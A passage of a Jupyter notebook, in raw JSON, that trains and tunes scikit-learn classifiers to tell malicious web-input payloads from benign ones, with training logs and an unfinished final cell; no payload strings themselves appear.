N/4BnznOxadnZq2Nk0yycaU\n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\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f155d33d668>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "X = create_features(pd.DataFrame(payloads['payload'].copy()))\n",
    "Y = payloads['is_malicious']\n",
    "visualize_feature_space_by_projection(X,Y,title='PCA visualization of custom feature space')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#  Step4 - Model selection and evaluation"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "First, we will automate hyperparameter tuning and out of sample testing using train_model below"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def train_model(clf, param_grid, X, Y):\n",
    "    '''Trains and evaluates the model clf from input\n",
    "    \n",
    "    The function selects the best model of clf by optimizing for the validation data,\n",
    "    then evaluates its performance using the out of sample test data.\n",
    "    \n",
    "    input - clf: the model to train\n",
    "            param_grid: a dict of hyperparameters to use for optimization\n",
    "            X: features\n",
    "            Y: labels\n",
    "    \n",
    "    output - the best estimator (trained model)\n",
    "             the confusion matrix from classifying the test data\n",
    "    '''\n",
    "    \n",
    "    #First, partition into train and test data\n",
    "    X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=42)\n",
    "\n",
    "    n_iter = 5\n",
    "    #If number of possible iterations are less than prefered number of iterations, \n",
    "    #set it to the number of possible iterations\n",
    "    #number of possible iterations are not less than prefered number of iterations if any argument is expon()\n",
    "    #because expon() is continous (writing 100 instead, could be any large number)\n",
    "    n_iter = min(n_iter,np.prod([\n",
    "        100 if type(xs) == type(expon()) \n",
    "        else len(xs) \n",
    "        for xs in param_grid.values()\n",
    "    ]))\n",
    "    \n",
    "    #perform a grid search for the best parameters on the training data.\n",
    "    #Cross validation is made to select the parameters, so the training data is actually split into\n",
    "    #a new train data set and a validation data set, K number of times\n",
    "    cv = ShuffleSplit(n=len(X_train), n_iter=5, test_size=0.2, random_state=0) #DEBUG: n_iter=10\n",
    "    #cv = KFold(n=len(X), n_folds=10)\n",
    "    random_grid_search = RandomizedSearchCV(\n",
    "        clf, \n",
    "        param_distributions=param_grid,\n",
    "        cv=cv, \n",
    "        scoring='f1', \n",
    "        n_iter=n_iter, #DEBUG 1 \n",
    "        random_state=5,\n",
    "        refit=True,\n",
    "        verbose=10\n",
    "    )\n",
    "    \n",
    "    '''Randomized search used instead. We have limited computing power\n",
    "    grid_search = GridSearchCV(\n",
    "        clf,\n",
    "        param_grid=param_grid,\n",
    "        cv=cv,\n",
    "        scoring='f1', #accuracy/f1/f1_weighted all give same result?\n",
    "        verbose=10,\n",
    "        n_jobs=-1\n",
    "    )\n",
    "    grid_search.fit(X_train, Y_train)\n",
    "    '''\n",
    "    random_grid_search.fit(X_train, Y_train)\n",
    "    \n",
    "    #Evaluate the best model on the test data\n",
    "    Y_test_predicted = random_grid_search.best_estimator_.predict(X_test)\n",
    "    Y_test_predicted_prob = random_grid_search.best_estimator_.predict_proba(X_test)[:, 1]\n",
    "\n",
    "    confusion = confusion_matrix(Y_test, Y_test_predicted)\n",
    "    TP = confusion[1, 1]\n",
    "    TN = confusion[0, 0]\n",
    "    FP = confusion[0, 1]\n",
    "    FN = confusion[1, 0]\n",
    "\n",
    "    #Calculate recall (sensitivity) from confusion matrix\n",
    "    sensitivity = TP / float(TP + FN)\n",
    "    \n",
    "    #Calculate specificity from confusion matrix\n",
    "    specificity = TN / float(TN + FP)\n",
    "\n",
    "    #Calculate accuracy\n",
    "    accuracy = (confusion[0][0] + confusion[1][1]) / (confusion.sum().sum())\n",
    "    \n",
    "    #Calculate axes of ROC curve\n",
    "    fpr, tpr, thresholds = roc_curve(Y_test, Y_test_predicted_prob)\n",
    "    \n",
    "    #Area under the ROC curve\n",
    "    auc = roc_auc_score(Y_test, Y_test_predicted_prob)\n",
    "\n",
    "    return {\n",
    "        'conf_matrix':confusion, \n",
    "        'accuracy':accuracy, \n",
    "        'sensitivity':sensitivity,\n",
    "        'specificity':specificity,\n",
    "        'auc':auc,\n",
    "        'params':random_grid_search.best_params_,\n",
    "        'model':random_grid_search.best_estimator_,\n",
    "        'roc':{'fpr':fpr,'tpr':tpr,'thresholds':thresholds}\n",
    "    }\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Then, we will use the train_model function to train, optimize and retrieve out of sample testing results from a range of classifiers.  \n",
    "Classifiers tested using our custom feature space:\n",
    " - AdaBoost\n",
    " - SGD classifier \n",
    " - MultiLayerPerceptron classifier\n",
    " - Logistic Regression\n",
    " - Support Vector Machine\n",
    " - Random forest\n",
    " - Decision Tree\n",
    " - Multinomial Naive Bayes\n",
    "\n",
    "Classifiers tested using bag-of-words feature spaces:\n",
    " - MultiLayerPerceptron classifier\n",
    " - Logistic Regression\n",
    " - Support Vector Machine\n",
    " - Random forest\n",
    " - Multinomial Naive Bayes\n",
    " \n",
    " Some classifiers were unable to train using a bag-of-words feature space because they couldn't handle sparse graphs\n",
    " \n",
    " All their best parameters with their performance is stored in a dataframe called classifier_results"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Make dictionary of models with parameters to optimize using bag-of-words feature spaces"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def create_classifier_inputs_using_vectorizers(vectorizer, subscript):\n",
    "    '''make pipelines of the specified vectorizer with the classifiers to train\n",
    "    \n",
    "    input - vectorizer: the vectorizer to add to the pipelines\n",
    "            subscript:  subscript name for the dictionary key\n",
    "            \n",
    "    output - A dict of inputs to use for train_model(); a pipeline and a dict of params to optimize\n",
    "    '''\n",
    "    \n",
    "    classifier_inputs = {}\n",
    "    \n",
    "    classifier_inputs[subscript + ' MLPClassifier'] = {\n",
    "        'pipeline':Pipeline([('vect', vectorizer),('clf',MLPClassifier(\n",
    "            activation='relu',\n",
    "            solver='adam',\n",
    "            early_stopping=False,\n",
    "            verbose=True\n",
    "            \n",
    "        ))]),\n",
    "        'dict_params': {\n",
    "            'vect__min_df':[1,2,5,10,20,40],\n",
    "            'clf__hidden_layer_sizes':[(500,250,125,62)],\n",
    "            'clf__alpha':[0.0005,0.001,0.01,0.1,1],\n",
    "            'clf__learning_rate':['constant','invscaling'],\n",
    "            'clf__learning_rate_init':[0.001,0.01,0.1,1],\n",
    "            'clf__momentum':[0,0.9],\n",
    "        }\n",
    "    }\n",
    "    '''\n",
    "    classifier_inputs[subscript + ' MultinomialNB'] = {\n",
    "        'pipeline':Pipeline([('vect', vectorizer),('clf',MultinomialNB())]),\n",
    "        'dict_params': {\n",
    "            'vect__min_df':[1,2,5,10,20,40]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' RandomForest'] = {\n",
    "        'pipeline':Pipeline([('vect', vectorizer),('clf',RandomForestClassifier(\n",
    "            max_depth=None,min_samples_split=2, random_state=0))]),\n",
    "        'dict_params': {\n",
    "            'vect__min_df':[1,2,5,10,20,40],\n",
    "            'clf__n_estimators':[10,20,40,60]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' Logistic'] = {\n",
    "        'pipeline':Pipeline([('vect', vectorizer), ('clf',LogisticRegression())]),\n",
    "        'dict_params': {\n",
    "            'vect__min_df':[1,2,5,10,20,40],\n",
    "            'clf__C':[0.001, 0.01, 0.1, 1, 10, 100, 1000]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' SVM'] = {\n",
    "        'pipeline':Pipeline([('vect', vectorizer), ('clf',SVC(probability=True))]),\n",
    "        'dict_params': {\n",
    "            'vect__min_df':[1,2,5,10,20,40],\n",
    "            'clf__C':[0.001, 0.01, 0.1, 1, 10, 100, 1000],\n",
    "            'clf__gamma':[0.001, 0.0001,'auto'],\n",
    "            'clf__kernel':['rbf']\n",
    "        }\n",
    "    }\n",
    "    '''\n",
    "    \n",
    "    return classifier_inputs\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Make dictionary of models with parameters to optimize using custom feature spaces"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 49,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def create_classifier_inputs(subscript):\n",
    "    \n",
    "    classifier_inputs = {}\n",
    "    \n",
    "    \n",
    "    '''classifier_inputs[subscript + ' GPC'] = {\n",
    "        'pipeline':GaussianProcessClassifier(),\n",
    "        'dict_params': {\n",
    "            'kernel':[\n",
    "                1.0*kernels.RBF(1.0),\n",
    "                1.0*kernels.Matern(),\n",
    "                1.0*kernels.RationalQuadratic(),\n",
    "                1.0*kernels.DotProduct()\n",
    "            ]\n",
    "        }\n",
    "    }'''\n",
    "    classifier_inputs[subscript + ' AdaBoostClassifier'] = {\n",
    "        'pipeline':AdaBoostClassifier(n_estimators=100),\n",
    "        'dict_params': {\n",
    "            'n_estimators':[10,20,50, 100], \n",
    "            'learning_rate':[0.1, 0.5, 1.0, 2.0]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' SGD'] = {\n",
    "        'pipeline':SGDClassifier(loss=\"log\", penalty=\"l2\"),\n",
    "        'dict_params': {\n",
    "            'learning_rate': ['optimal']\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' RandomForest'] = {\n",
    "        'pipeline':RandomForestClassifier(\n",
    "            max_depth=None,min_samples_split=2, random_state=0),\n",
    "        'dict_params': {\n",
    "            'n_estimators':[10,20,40,60]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' DecisionTree'] = {\n",
    "        'pipeline':  DecisionTreeClassifier(max_depth=5),\n",
    "        'dict_params': {\n",
    "            'min_samples_split': [2]\n",
    "        }\n",
    "    }\n",
    "    '''classifier_inputs[subscript + ' MLPClassifier'] = {\n",
    "        'pipeline':MLPClassifier(\n",
    "            activation='relu',\n",
    "            solver='adam',\n",
    "            early_stopping=False,\n",
    "            verbose=True\n",
    "            \n",
    "        ),\n",
    "        'dict_params': {\n",
    "            'hidden_layer_sizes':[(300, 200, 150, 150), (30, 30, 30), (150, 30, 30, 150), \n",
    "                                  (400, 250, 100, 100) , (150, 200, 300)],\n",
    "            'alpha':[0.0005,0.001,0.01,0.1,1],\n",
    "            'learning_rate':['constant','invscaling'],\n",
    "            'learning_rate_init':[0.0005,0.001,0.01,0.1,1],\n",
    "            'momentum':[0,0.9],\n",
    "        }\n",
    "    }'''\n",
    "    classifier_inputs[subscript + ' Logistic'] = {\n",
    "        'pipeline':LogisticRegression(),\n",
    "        'dict_params': {\n",
    "            'C': [0.001, 0.01, 0.1, 1, 10, 100, 1000]\n",
    "        }\n",
    "    }\n",
    "    classifier_inputs[subscript + ' MultinomialNB'] = {\n",
    "        'pipeline':MultinomialNB(),\n",
    "        'dict_params': {\n",
    "            'alpha': [1.0]\n",
    "        }\n",
    "    }\n",
    "    \n",
    "    '''classifier_inputs[subscript + ' SVM'] = {\n",
    "        'pipeline':SVC(probability=True),\n",
    "        'dict_params': {\n",
    "            'C':[0.001, 0.01, 0.1, 1, 10, 100, 1000],\n",
    "            'gamma':[0.001, 0.0001,'auto'],\n",
    "            'kernel':['rbf']\n",
    "        }\n",
    "    }'''\n",
    "    return classifier_inputs\n",
    "    "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Create a new result table"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "classifier_results = pd.DataFrame(columns=['accuracy','sensitivity','specificity','auc','conf_matrix','params','model','roc'])#,index=classifier_inputs.keys())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Use the 6 different feature spaces generated from the vectorizers previously above, \n",
    "and train every classifier in classifier_inputs in every feature space\n",
    "\n",
    "### P.S! Don't try to run this, it will take several days to complete  \n",
    "### Instead skip to Step4B"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'clf__alpha': [0.0005, 0.001, 0.01, 0.1, 1],\n",
       " 'clf__hidden_layer_sizes': [(500, 250, 125, 62)],\n",
       " 'clf__learning_rate': ['constant', 'invscaling'],\n",
       " 'clf__learning_rate_init': [0.001, 0.01, 0.1, 1],\n",
       " 'clf__momentum': [0, 0.9],\n",
       " 'vect__min_df': [1, 2, 5, 10, 20, 40]}"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Fitting 5 folds for each of 10 candidates, totalling 50 fits\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10 \n",
      "Iteration 1, loss = 0.16121015\n",
      "Iteration 2, loss = 0.09513512\n",
      "Iteration 3, loss = 0.05008793\n",
      "Iteration 4, loss = 0.04394987\n",
      "Iteration 5, loss = 0.03742232\n",
      "Iteration 6, loss = 0.03798333\n",
      "Iteration 7, loss = 0.03913258\n",
      "Iteration 8, loss = 0.03425985\n",
      "Iteration 9, loss = 0.03764660\n",
      "Iteration 10, loss = 0.03237561\n",
      "Iteration 11, loss = 0.03873883\n",
      "Iteration 12, loss = 0.03557829\n",
      "Iteration 13, loss = 0.03636709\n",
      "Training loss did not improve more than tol=0.000100 for two consecutive epochs. Stopping.\n",
      "[CV]  clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10, score=0.974001, total=12.2min\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10 \n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   1 out of   1 | elapsed: 12.2min remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Iteration 1, loss = 0.16279731\n",
      "Iteration 2, loss = 0.07925525\n",
      "Iteration 3, loss = 0.05666222\n",
      "Iteration 4, loss = 0.04632985\n",
      "Iteration 5, loss = 0.04749161\n",
      "Iteration 6, loss = 0.04424528\n",
      "Iteration 7, loss = 0.03697507\n",
      "Iteration 8, loss = 0.04111203\n",
      "Iteration 9, loss = 0.03924612\n",
      "Iteration 10, loss = 0.03894181\n",
      "Training loss did not improve more than tol=0.000100 for two consecutive epochs. Stopping.\n",
      "[CV]  clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10, score=0.978144, total= 9.3min\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10 \n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   2 out of   2 | elapsed: 21.6min remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Iteration 1, loss = 0.17005902\n",
      "Iteration 2, loss = 0.09020427\n",
      "Iteration 3, loss = 0.05339319\n",
      "Iteration 4, loss = 0.04799238\n",
      "Iteration 5, loss = 0.04230805\n",
      "Iteration 6, loss = 0.04008378\n",
      "Iteration 7, loss = 0.04186587\n",
      "Iteration 8, loss = 0.03630419\n",
      "Iteration 9, loss = 0.03738015\n",
      "Iteration 10, loss = 0.03807127\n",
      "Iteration 11, loss = 0.03868825\n",
      "Training loss did not improve more than tol=0.000100 for two consecutive epochs. Stopping.\n",
      "[CV]  clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10, score=0.967555, total=10.3min\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10 \n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   3 out of   3 | elapsed: 31.9min remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Iteration 1, loss = 0.21308621\n",
      "Iteration 2, loss = 0.07326554\n",
      "Iteration 3, loss = 0.06426750\n",
      "Iteration 4, loss = 0.04160747\n",
      "Iteration 5, loss = 0.04142850\n",
      "Iteration 6, loss = 0.04136818\n",
      "Iteration 7, loss = 0.03636555\n",
      "Iteration 8, loss = 0.03771068\n",
      "Iteration 9, loss = 0.03211951\n",
      "Iteration 10, loss = 0.04014684\n",
      "Iteration 11, loss = 0.03579480\n",
      "Iteration 12, loss = 0.03310445\n",
      "Training loss did not improve more than tol=0.000100 for two consecutive epochs. Stopping.\n",
      "[CV]  clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10, score=0.972258, total=11.3min\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10 \n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   4 out of   4 | elapsed: 43.3min remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Iteration 1, loss = 0.16647477\n",
      "Iteration 2, loss = 0.08404627\n",
      "Iteration 3, loss = 0.04935585\n",
      "Iteration 4, loss = 0.04057565\n",
      "Iteration 5, loss = 0.03740521\n",
      "Iteration 6, loss = 0.04020131\n",
      "Iteration 7, loss = 0.03593586\n",
      "Iteration 8, loss = 0.03650297\n",
      "Iteration 9, loss = 0.03560970\n",
      "Iteration 10, loss = 0.04026369\n",
      "Iteration 11, loss = 0.03743374\n",
      "Iteration 12, loss = 0.03226538\n",
      "Iteration 13, loss = 0.03488808\n",
      "Iteration 14, loss = 0.03655954\n",
      "Iteration 15, loss = 0.03171322\n",
      "Iteration 16, loss = 0.03626348\n",
      "Iteration 17, loss = 0.03057116\n",
      "Iteration 18, loss = 0.03529684\n",
      "Iteration 19, loss = 0.03558647\n",
      "Iteration 20, loss = 0.03307547\n",
      "Training loss did not improve more than tol=0.000100 for two consecutive epochs. Stopping.\n",
      "[CV]  clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=invscaling, clf__alpha=0.1, clf__learning_rate_init=0.01, vect__min_df=10, score=0.974294, total=19.1min\n",
      "[CV] clf__hidden_layer_sizes=(500, 250, 125, 62), clf__momentum=0.9, clf__learning_rate=constant, clf__alpha=0.001, clf__learning_rate_init=1, vect__min_df=2 \n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   5 out of   5 | elapsed: 62.4min remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Iteration 1, loss = 67.24102975\n",
      "Iteration 2, loss = 71.29495837\n"
     ]
    }
   ],
   "source": [
    "classifier_inputs = {}\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(count_vectorizer_1grams,'count 1grams'))\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(count_vectorizer_2grams,'count 2grams'))\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(count_vectorizer_3grams,'count 3grams'))\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(tfidf_vectorizer_1grams,'tfidf 1grams'))\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(tfidf_vectorizer_2grams,'tfidf 2grams'))\n",
    "classifier_inputs.update(create_classifier_inputs_using_vectorizers(tfidf_vectorizer_3grams,'tfidf 3grams'))\n",
    "\n",
    "\n",
    "X = payloads['payload'] \n",
    "Y = payloads['is_malicious']\n",
    "\n",
    "for classifier_name, inputs in classifier_inputs.items():\n",
    "    display(inputs['dict_params'])\n",
    "    if classifier_name in classifier_results.index.values.tolist():\n",
